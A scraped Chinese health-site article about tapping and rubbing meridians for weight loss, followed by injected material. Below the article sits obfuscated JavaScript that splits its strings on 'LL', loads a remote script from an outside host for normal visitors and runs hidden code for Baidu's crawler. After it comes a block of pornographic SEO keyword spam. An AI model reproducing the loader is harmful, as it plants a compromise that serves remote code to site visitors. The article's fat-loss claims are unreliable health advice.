當前位置:首頁 > 減肥 > 中醫減肥 > 正文

敲經絡減肥的方法有哪些

2017-06-12 12:56:49  來源:360常識網   熱度:
導語:我們都知道減肥的方法有許多,可以通過運動來減肥,也可以通過控制飲食來減肥。但是你知道嗎?減肥的方法可不止這些呢,通過敲經絡的方法也

我們都知道減肥的方法有許多,可以通過運動來減肥,也可以通過控制飲食來減肥。但是你知道嗎?減肥的方法可不止這些呢,通過敲經絡的方法也可以達到減肥的效果呢。那么敲經絡減肥的方法有哪些呢?下面我們就一起來看一下吧。

1. 清除大腿內側贅肉,刮肝經

肝膽失調造成的肥胖,通常體現在大腿內側和外側,以及腰部的兩側(即所謂"游泳圈")。

用手掌根推大腿內側的肝經。每天睡覺的時候,用手掌根從大腿根部推到膝蓋附近,把這條肝經的位置推300下。推的時候可以沾一點肥皂或油脂的東西潤滑一下,以免擦傷皮膚。

2. 清除大腿外側贅肉,敲膽經。

要想減去這個部位上的贅肉,只需要拿指節去敲打就可以了。因為這些穴位都在皮膚下面的肌肉層,并不在皮膚表面,所以敲打的時候,力度要能滲透到肌肉里面去。只有這樣敲打,效果才真正地明顯。

3. 清除腰上的贅肉,敲帶脈區

如果腰上有贅肉,就敲腰兩邊的帶脈區,

敲帶脈很簡單,只要平躺著,手握空拳,敲打腰部最細的那個點。每天堅持敲打300次,由輕到重,以舒服為宜,不久這些"游泳圈"自然就下去了。

4. 大腸功能失調引起的肥胖自療法:敲大腸經

如果吸收的東西不能及時地變成血液,就會變成脂肪贅肉堆積在人體里。還有便秘,也會造成體內垃圾排不出去。經常敲打胳膊正面的大腸經,不但可以消減胳膊上的贅肉,還可以改善便秘的問題。

敲經絡減肥的方法有哪些?以上的內容就是對這個問題做出的詳細解答了,你在看了上面的內容以后,知道敲經絡減肥的方法有哪些了嗎?如果大家覺得上面的內容還不夠清楚想要知道更詳細的內容的話,可以撥打我們的免費熱線咨詢我們的專家。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
成人国产精品免费视频| 国产精品久久久福利| 99视频在线精品免费观看6| 国产成人一区二区动漫精品 | 久久久国产精品一区二区18禁| 精品国产鲁一鲁一区二区| 国产精品一区不卡| 亚洲精品国产精品乱码视色| 精品国产一区二区三区色欲 | 精品国产伦一区二区三区在线观看 | 黑人无码精品又粗又大又长| 国产成人无码精品一区二区三区| 国产精品91在线| 网友偷拍日韩精品| 久久久久成人精品| 最新国产精品好看的国产精品| 最新国产精品无码| 2017国产精品自拍| 国产精品无码专区在线观看| 91精品国产91久久久久久最新| 国产精品久久久久久影视| 久久精品久久精品久久精品| 国产乱人伦偷精品视频免| 亚洲精品无码Av人在线观看国产| 国产香蕉一区二区精品视频 | 国产伦精品一区二区三区视频猫咪 | 久久夜色精品国产www| 国产精品1024永久免费视频| 亚洲国产人成精品| 日本亚洲精品色婷婷在线影院| 亚洲精品无码99在线观看| 亚洲区精品久久一区二区三区 | 影院成人区精品一区二区婷婷丽春院影视| 久久五月精品中文字幕| 992tv精品视频tv在线观看| 久久精品成人免费国产片小草| 国产成人精品高清在线观看99| 精品无人区无码乱码大片国产| 国产精品香蕉在线| 中文字幕精品无码久久久久久3D日动漫| AV无码精品一区二区三区|